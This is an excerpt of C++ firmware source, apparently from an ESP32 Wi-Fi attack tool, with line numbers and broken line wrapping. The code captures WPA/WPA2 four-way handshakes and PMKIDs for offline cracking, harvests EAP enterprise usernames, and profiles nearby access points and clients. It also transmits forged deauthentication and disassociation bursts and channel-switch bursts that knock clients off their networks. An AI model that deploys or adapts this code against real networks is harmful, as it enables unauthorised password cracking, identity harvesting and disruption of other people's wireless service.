1060 memcpy(rec.bssid, hdr->addr3, 6); memcpy(rec.sta, hdr->addr2, 6);
1061 _lookupSsid(rec.bssid, rec.ssid, rec.ssid_len);
1062 _lookupEnc(rec.bssid, rec.enc);
1065 uint16_t sae_body_len = (len > 6) ? len - 6 : 0;
1066 if (sae_body_len > 256) sae_body_len = 256;
1067 memcpy(rec.sae_data, payload + 6, sae_body_len);
1068 rec.sae_len = sae_body_len;
1069 rec.sae_seq = (uint8_t)auth_seq;
1070 rec.is_full = (auth_seq == 2);
1077 if (len < 6 || !_eapolCb)
return;
1078 const uint8_t *ie = payload + 6;
1079 uint16_t ie_len = (len > 6) ? len - 6 : 0;
1080 const uint8_t *bssid = hdr->addr2;
1081 const uint8_t *sta = hdr->addr1;
1083 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1084 if (!_fishAssocLogged) {
1085 _fishAssocLogged =
true;
1086 _log(
"[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1087 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
1089 if (status != 0)
return;
1092 while (pos + 2 <= ie_len) {
1093 uint8_t tag = ie[pos];
1094 uint8_t tlen = ie[pos + 1];
1095 if (pos + 2 + tlen > ie_len)
break;
1096 if (tag == 48 && tlen >= 20) {
1097 const uint8_t *rsn = ie + pos + 2;
1098 uint16_t rlen = tlen;
1099 uint16_t off = 2; off += 4;
1100 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1101 off += 2 + pw_cnt * 4;
1102 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1103 off += 2 + akm_cnt * 4;
1105 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1107 if (pmkid_cnt > 0 && off + 16 <= rlen) {
1108 const uint8_t *pmkid_raw = rsn + off;
1109 bool pmkid_valid =
false;
1110 for (
int pi = 0; pi < 16; pi++)
if (pmkid_raw[pi]) { pmkid_valid =
true;
break; }
1113 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1114 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1115 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1116 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1117 _lookupEnc(bssid, rec.enc);
1118 memcpy(rec.pmkid, pmkid_raw, 16);
1119 _log(
"[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
1120 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1121 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
1122 if (_eapolCb) _eapolCb(rec);
1131void Politician::_handleData(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
1132 uint16_t len, int8_t rssi) {
1134 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03)
return;
1135 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00)
return;
1139 _channelTrafficSeen =
true;
1144 const uint8_t *bssid;
1147 if (toDS && !fromDS) {
1148 bssid = hdr->addr1; sta = hdr->addr2;
1149 }
else if (!toDS && fromDS) {
1150 bssid = hdr->addr2; sta = hdr->addr1;
1152 bssid = hdr->addr3; sta = hdr->addr2;
1158 if (eapol_len >= 4) {
1159 if (eapol[1] == 0x00 && _identityCb !=
nullptr) {
1161 _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
1162 }
else if (eapol[1] == 0x03) {
1164 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
1169bool Politician::_parseEapol(
const uint8_t *bssid,
const uint8_t *sta,
1170 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1171 if (_isCaptured(bssid))
return false;
1172 if (len < 4 || eapol[1] != 0x03)
return false;
1175 static const uint8_t zero_mac[6] = {};
1176 if (memcmp(_cfg.
sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.
sta_filter, 6) != 0)
return false;
1178 const uint8_t *key = eapol + 4;
1179 uint16_t key_len = len - 4;
1187 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1188 rec.type =
CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
1189 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1190 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1191 _lookupEnc(bssid, rec.enc);
1192 _log(
"[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
1193 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1205 if (msg == 0)
return false;
1207 _log(
"[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
1208 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
1210 if (msg == 3 || msg == 4) {
1211 _recordClientForAp(bssid, sta, rssi);
1214 if (_hopping && _m1Locked) {
1218 Session *sess = _findSession(bssid, sta);
1219 if (!sess)
return true;
1222 uint16_t store_len = (len < 256) ? len : 256;
1223 if (sess->m3_off + store_len <=
sizeof(sess->eapol_buffer)) {
1224 memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
1225 sess->m3_len = store_len;
1226 sess->flags.has_m3 =
true;
1227 sess->m4_off = sess->m3_off + store_len;
1229 }
else if (msg == 4) {
1230 uint16_t store_len = (len < 256) ? len : 256;
1231 if (sess->m4_off + store_len <=
sizeof(sess->eapol_buffer)) {
1232 memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
1233 sess->m4_len = store_len;
1234 sess->flags.has_m4 =
true;
1238 if (sess->flags.has_m1 && sess->flags.has_m2) {
1239 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1241 rec.channel = sess->channel; rec.rssi = sess->rssi;
1242 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1243 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1244 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1245 memcpy(rec.mic, sess->mic, 16);
1246 memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
1247 memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
1248 memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
1249 rec.has_anonce =
true; rec.has_snonce = sess->flags.has_m2; rec.has_mic =
true;
1250 rec.has_m3 = sess->flags.has_m3; rec.has_m4 =
true;
1253 _log(
"[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
1254 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1256 if (_eapolCb) _eapolCb(rec);
1257 sess->flags.active =
false;
1263 Session *sess = _findSession(bssid, sta);
1264 if (!sess) sess = _createSession(bssid, sta);
1265 if (!sess)
return false;
1267 sess->channel = _rxChannel; sess->rssi = rssi;
1270 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
1271 if (!isOurFishM1 && !(_attackMask &
ATTACK_PASSIVE))
return false;
1276 sess->flags.has_m1 =
true;
1278 if (_hopping && !_m1Locked) {
1279 _probeLocked =
false; _m1Locked =
true;
1282 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs =
millis() + _cfg.
m1_lock_ms;
1287 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
1288 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
1289 const uint8_t *pmkid_raw = kdata + i + 6;
1290 bool pmkid_valid =
false;
1291 for (
int pi = 0; pi < 16; pi++)
if (pmkid_raw[pi]) { pmkid_valid =
true;
break; }
1294 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1295 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1296 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1297 memcpy(rec.ssid, sess->ssid,
sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
1298 _lookupEnc(bssid, rec.enc);
1299 memcpy(rec.pmkid, pmkid_raw, 16);
1300 _log(
"[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
1301 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1302 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1303 if (_eapolCb) _eapolCb(rec);
1309 }
else if (msg == 2) {
1310 if (memcmp(sta, _ownStaMac, 6) == 0)
return false;
1312 if (sess->flags.has_m1 && memcmp(key +
EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0)
return false;
1315 if (_hopping && _m1Locked) {
1324 uint16_t store_len = (len < 256) ? len : 256;
1326 memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
1330 sess->m3_off = store_len;
1331 sess->m4_off = store_len;
1333 bool is_new_m2 = !sess->flags.has_m2;
1334 sess->flags.has_m2 =
true;
1335 _recordClientForAp(bssid, sta, rssi);
1337 if (sess->flags.has_m1) {
1338 static const uint8_t zero_mic[16] = {};
1339 if (memcmp(sess->mic, zero_mic, 16) == 0) {
1340 _log(
"[EAPOL] M2 MIC is zero — discarding malformed frame\n");
1341 sess->flags.active =
false;
1344 uint32_t now_cap =
millis();
1345 if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
1351 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1353 rec.channel = sess->channel; rec.rssi = sess->rssi;
1354 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1355 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1356 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1357 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1358 rec.eapol_m2_len = sess->m2_len; rec.has_anonce =
true; rec.has_snonce =
true; rec.has_mic =
true;
1359 rec.is_full =
false;
1361 _log(
"[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
1362 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1365 memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
1366 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1367 if (_eapolCb) _eapolCb(rec);
1372 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1374 rec.channel = sess->channel; rec.rssi = sess->rssi;
1375 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1376 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1377 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1378 rec.eapol_m2_len = sess->m2_len; rec.has_mic =
true;
1379 _log(
"[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
1380 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1381 if (_eapolCb) _eapolCb(rec);
1387 if (_fishState == FISH_IDLE) {
1389 _log(
"[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
1391 memcpy(_fishBssid, bssid, 6);
1392 memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] =
'\0';
1393 _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs =
millis();
1394 memcpy(_fishSta, sta, 6);
1395 _fishState = FISH_CSA_WAIT; _csaSecondBurstSent =
false;
1397 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
1403 _csaFallbackMs =
millis() + 1000;
1416void Politician::_parseEapIdentity(
const uint8_t *bssid,
const uint8_t *sta,
1417 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1419 if (len < 9)
return;
1422 if (eapol[4] != 0x02)
return;
1425 if (eapol[8] != 0x01)
return;
1427 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
1428 if (eap_len < 5)
return;
1431 uint16_t id_len = eap_len - 5;
1434 if (9 + id_len > len)
return;
1436 EapIdentityRecord rec;
1437 memset(&rec, 0,
sizeof(rec));
1438 memcpy(rec.bssid, bssid, 6);
1439 memcpy(rec.client, sta, 6);
1440 rec.channel = _rxChannel;
1443 uint16_t copy_len = (id_len < 64) ? id_len : 64;
1444 memcpy(rec.identity, eapol + 9, copy_len);
1445 rec.identity[copy_len] =
'\0';
1447 _log(
"[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
1448 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
1450 if (_identityCb) _identityCb(rec);
1453void Politician::_parseSsid(
const uint8_t *ie, uint16_t ie_len,
char *out, uint8_t &out_len) {
1454 out[0] =
'\0'; out_len = 0; uint16_t pos = 0;
1455 while (pos + 2 <= ie_len) {
1456 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1457 if (pos + 2 + len > ie_len)
break;
1458 if (tag == 0 && len > 0 && len <= 32) {
1459 memcpy(out, ie + pos + 2, len); out[len] =
'\0'; out_len = len;
return;
1465uint8_t Politician::_classifyEnc(
const uint8_t *ie, uint16_t ie_len) {
1466 bool has_rsn =
false, has_wpa =
false, is_enterprise =
false;
1468 while (pos + 2 <= ie_len) {
1469 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1470 if (pos + 2 + len > ie_len)
break;
1477 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
1478 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1480 if (akm_offset + 2 <= pos + 2 + len) {
1481 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
1482 uint16_t list_offset = akm_offset + 2;
1484 for (
int i=0; i < akm_count; i++) {
1485 if (list_offset + 4 > pos + 2 + len)
break;
1487 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
1488 is_enterprise =
true;
1495 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa =
true;
1499 if (is_enterprise)
return 4;
1500 return has_rsn ? 3 : (has_wpa ? 2 : 0);
1503bool Politician::_detectWpa3Only(
const uint8_t *ie, uint16_t ie_len) {
1505 while (pos + 2 <= ie_len) {
1506 uint8_t tag = ie[pos];
1507 uint8_t len = ie[pos + 1];
1508 if (pos + 2 + len > ie_len)
break;
1510 if (tag == 48 && len >= 10) {
1511 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1512 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1513 if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len;
continue; }
1515 uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
1516 uint16_t list_off = akm_offset + 2;
1518 bool has_sae =
false;
1519 bool has_wpa2psk =
false;
1520 for (uint16_t i = 0; i < akm_count; i++) {
1521 if (list_off + 4 > pos + 2 + len)
break;
1522 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
1523 if (ie[list_off+3] == 0x02) has_wpa2psk =
true;
1524 if (ie[list_off+3] == 0x08) has_sae =
true;
1531 if (list_off + 2 <= pos + 2 + len) {
1532 uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
1533 mfpr = (caps & 0x0040) != 0;
1536 if ((has_sae && !has_wpa2psk) || mfpr)
return true;
1543bool Politician::_detectFt(
const uint8_t *ie, uint16_t ie_len) {
1545 while (pos + 2 <= ie_len) {
1546 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1547 if (pos + 2 + len > ie_len)
break;
1548 if (tag == 48 && len >= 10) {
1549 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1550 uint16_t akm_off = pos + 10 + (pw_count * 4);
1551 if (akm_off + 2 <= pos + 2 + len) {
1552 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1553 uint16_t list_off = akm_off + 2;
1554 for (uint16_t i = 0; i < akm_count; i++) {
1555 if (list_off + 4 > pos + 2 + len)
break;
1557 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
1558 (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04))
return true;
1568void Politician::_detectPmfFlags(
const uint8_t *ie, uint16_t ie_len,
bool &pmf_capable,
bool &pmf_required) {
1569 pmf_capable =
false; pmf_required =
false;
1571 while (pos + 2 <= ie_len) {
1572 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1573 if (pos + 2 + len > ie_len)
break;
1574 if (tag == 48 && len >= 10) {
1575 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1576 uint16_t akm_off = pos + 10 + (pw_count * 4);
1577 if (akm_off + 2 <= pos + 2 + len) {
1578 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1579 uint16_t caps_off = akm_off + 2 + akm_count * 4;
1580 if (caps_off + 2 <= pos + 2 + len) {
1581 uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
1582 pmf_capable = (caps & 0x0080) != 0;
1583 pmf_required = (caps & 0x0040) != 0;
1591Politician::Session* Politician::_findSession(
const uint8_t *bssid,
const uint8_t *sta) {
1592 for (
int i = 0; i < MAX_SESSIONS; i++) {
1593 if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0)
return &_sessions[i];
1598Politician::Session* Politician::_createSession(
const uint8_t *bssid,
const uint8_t *sta) {
1599 for (
int i = 0; i < MAX_SESSIONS; i++) {
1600 if (!_sessions[i].flags.active) {
1601 memset(&_sessions[i], 0,
sizeof(Session));
1602 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
1603 _sessions[i].flags.active =
true; _sessions[i].created_ms =
millis();
1604 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
1605 return &_sessions[i];
1609 int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
1610 int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
1611 for (
int i = 0; i < MAX_SESSIONS; i++) {
1612 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
1613 if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
1614 incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
1617 int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
1618 _log(
"[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
1619 _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
1620 _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
1621 _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
1622 memset(&_sessions[evict], 0,
sizeof(Session));
1623 memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
1624 _sessions[evict].flags.active =
true; _sessions[evict].created_ms =
millis();
1625 _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
1626 return &_sessions[evict];
1629Politician::ApCacheEntry* Politician::_cacheAp(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len,
1630 uint8_t enc, uint8_t channel, int8_t rssi,
1631 bool is_wpa3_only,
bool wps,
1632 bool pmf_capable,
bool pmf_required,
1633 bool ft_capable, uint16_t sta_count, uint8_t chan_util,
1634 uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
1635 if (ssid_len > 32) ssid_len = 32;
1637 if (ssid_len > 0 && !(_cfg.
enc_filter_mask & (1 << enc)))
return nullptr;
1640 if (ssid_len > 0 && _cfg.
ssid_filter[0] !=
'\0') {
1642 if (ssid_len != strlen(_cfg.
ssid_filter) || memcmp(ssid, _cfg.
ssid_filter, ssid_len) != 0)
return nullptr;
1644 if (strstr(ssid, _cfg.
ssid_filter) ==
nullptr)
return nullptr;
1649 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1650 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1651 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
1652 _apCache[i].enc = enc; _apCache[i].channel = channel;
1653 _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
1654 _apCache[i].flags.is_wpa3_only = is_wpa3_only;
1655 _apCache[i].flags.wps_enabled = wps;
1656 _apCache[i].flags.pmf_capable = pmf_capable;
1657 _apCache[i].flags.pmf_required = pmf_required;
1658 _apCache[i].flags.ft_capable = ft_capable;
1659 _apCache[i].last_seen_ms = now;
1660 _apCache[i].sta_count = sta_count;
1661 _apCache[i].chan_util = chan_util;
1662 _apCache[i].venue_group = venue_group;
1663 _apCache[i].venue_type = venue_type;
1664 _apCache[i].network_type = network_type;
1665 if (sta_count > 0) _apCache[i].flags.has_active_clients =
true;
1666 if (ssid_len > 0) _apCache[i].flags.is_hidden =
false;
1667 if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
1668 return &_apCache[i];
1673 uint32_t oldest_ms = UINT32_MAX;
1674 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1675 if (!_apCache[i].flags.active) {
1679 if (_apCache[i].last_seen_ms < oldest_ms) {
1680 oldest_ms = _apCache[i].last_seen_ms;
1684 if (slot == -1) slot = 0;
1686 _apCache[slot].flags.active =
true; _apCache[slot].last_probe_ms = 0;
1687 _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
1688 _apCache[slot].last_hidden_probe_ms = 0;
1689 _apCache[slot].known_sta_count = 0;
1690 _apCache[slot].beacon_count = 1;
1691 _apCache[slot].total_attempts = 0;
1692 _apCache[slot].flags.is_hidden = (ssid_len == 0);
1693 _apCache[slot].flags.wps_enabled = wps;
1694 _apCache[slot].flags.pmf_capable = pmf_capable;
1695 _apCache[slot].flags.pmf_required = pmf_required;
1696 _apCache[slot].flags.ft_capable = ft_capable;
1697 _apCache[slot].sta_count = sta_count;
1698 _apCache[slot].chan_util = chan_util;
1699 _apCache[slot].venue_group = venue_group;
1700 _apCache[slot].venue_type = venue_type;
1701 _apCache[slot].network_type = network_type;
1702 _apCache[slot].flags.has_active_clients = (sta_count > 0);
1703 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
1704 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
1705 _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
1708 if (_rogueApCb && ssid_len > 0) {
1709 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1710 if (i == slot || !_apCache[i].flags.active)
continue;
1711 if (_apCache[i].channel != channel)
continue;
1712 if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
1713 if (memcmp(_apCache[i].bssid, bssid, 6) == 0)
continue;
1715 memset(&rec, 0,
sizeof(rec));
1716 memcpy(rec.known_bssid, _apCache[i].bssid, 6);
1717 memcpy(rec.rogue_bssid, bssid, 6);
1718 memcpy(rec.ssid, ssid, ssid_len + 1);
1719 rec.ssid_len = ssid_len;
1720 rec.channel = channel;
1726 return &_apCache[slot];
1729bool Politician::_lookupSsid(
const uint8_t *bssid,
char *out_ssid, uint8_t &out_len) {
1730 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1731 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1732 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len;
return true;
1735 out_ssid[0] =
'\0'; out_len = 0;
return false;
1739 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return 0;
1741 for (
int i = 0; i < MAX_AP_CACHE; i++)
if (_apCache[i].flags.active) n++;
1742 xSemaphoreGiveRecursive(_lock);
1747 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
1750 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1751 if (!_apCache[i].flags.active)
continue;
1753 memcpy(out.
bssid, _apCache[i].bssid, 6);
1754 memcpy(out.
ssid, _apCache[i].ssid, 33);
1755 out.
ssid_len = _apCache[i].ssid_len;
1756 out.
enc = _apCache[i].enc;
1757 out.
channel = _apCache[i].channel;
1758 out.
rssi = _apCache[i].rssi;
1763 out.
captured = _isCaptured(_apCache[i].bssid);
1764 out.
ft_capable = _apCache[i].flags.ft_capable;
1767 memcpy(out.
country, _apCache[i].country, 3);
1770 out.
is_hidden = _apCache[i].flags.is_hidden;
1780 xSemaphoreGiveRecursive(_lock);
1785 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
1787 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1788 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
1789 memcpy(out.
bssid, _apCache[i].bssid, 6);
1790 memcpy(out.
ssid, _apCache[i].ssid, 33);
1791 out.
ssid_len = _apCache[i].ssid_len;
1792 out.
enc = _apCache[i].enc;
1793 out.
channel = _apCache[i].channel;
1794 out.
rssi = _apCache[i].rssi;
1799 out.
captured = _isCaptured(_apCache[i].bssid);
1800 out.
ft_capable = _apCache[i].flags.ft_capable;
1803 memcpy(out.
country, _apCache[i].country, 3);
1806 out.
is_hidden = _apCache[i].flags.is_hidden;
1814 xSemaphoreGiveRecursive(_lock);
1819 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return 0;
1821 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1822 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1823 count = _apCache[i].known_sta_count;
break;
1826 xSemaphoreGiveRecursive(_lock);
1831 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
1833 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1834 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
1835 if (idx >= 0 && idx < _apCache[i].known_sta_count) {
1836 memcpy(out_sta, _apCache[i].known_stas[idx], 6);
1841 xSemaphoreGiveRecursive(_lock);
1845bool Politician::_lookupEnc(
const uint8_t *bssid, uint8_t &out_enc) {
1846 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1847 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1848 out_enc = _apCache[i].enc;
return true;
1851 out_enc = 0;
return false;
1854bool Politician::_isCaptured(
const uint8_t *bssid)
const {
1855 for (
int i = 0; i < _ignoreCount; i++)
if (memcmp(_ignoreList[i], bssid, 6) == 0)
return true;
1857 int left = 0, right = _capturedCount - 1;
1858 while (left <= right) {
1859 int mid = left + (right - left) / 2;
1860 int cmp = memcmp(_captured[mid], bssid, 6);
1861 if (cmp == 0)
return true;
1862 if (cmp < 0) left = mid + 1;
1863 else right = mid - 1;
1868void Politician::_sendDeauthBurst(uint8_t count,
const uint8_t *sta) {
1869 static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
1870 const uint8_t *da = (_cfg.
unicast_deauth && sta !=
nullptr) ? sta : BROADCAST;
1872 uint8_t deauth[26] = {
1873 0xC0, 0x00, 0x00, 0x00,
1874 da[0], da[1], da[2], da[3], da[4], da[5],
1875 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
1876 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
1881 static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
1882 uint8_t num_reasons =
sizeof(REASONS);
1884 for (
int i = 0; i < count; i++) {
1885 deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0;
1886 deauth[22] = (i << 4) & 0xFF;
1888 deauth[24] = REASONS[i % num_reasons];
1890 esp_wifi_80211_tx(WIFI_IF_STA, deauth,
sizeof(deauth),
false);
1893 _log(
"[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.
deauth_reason_cycling ?
"Fuzzing" :
"Static", _fishChannel, (da[0] == 0xFF) ?
"broadcast" :
"unicast");
1896void Politician::_markCapturedSsidGroup(
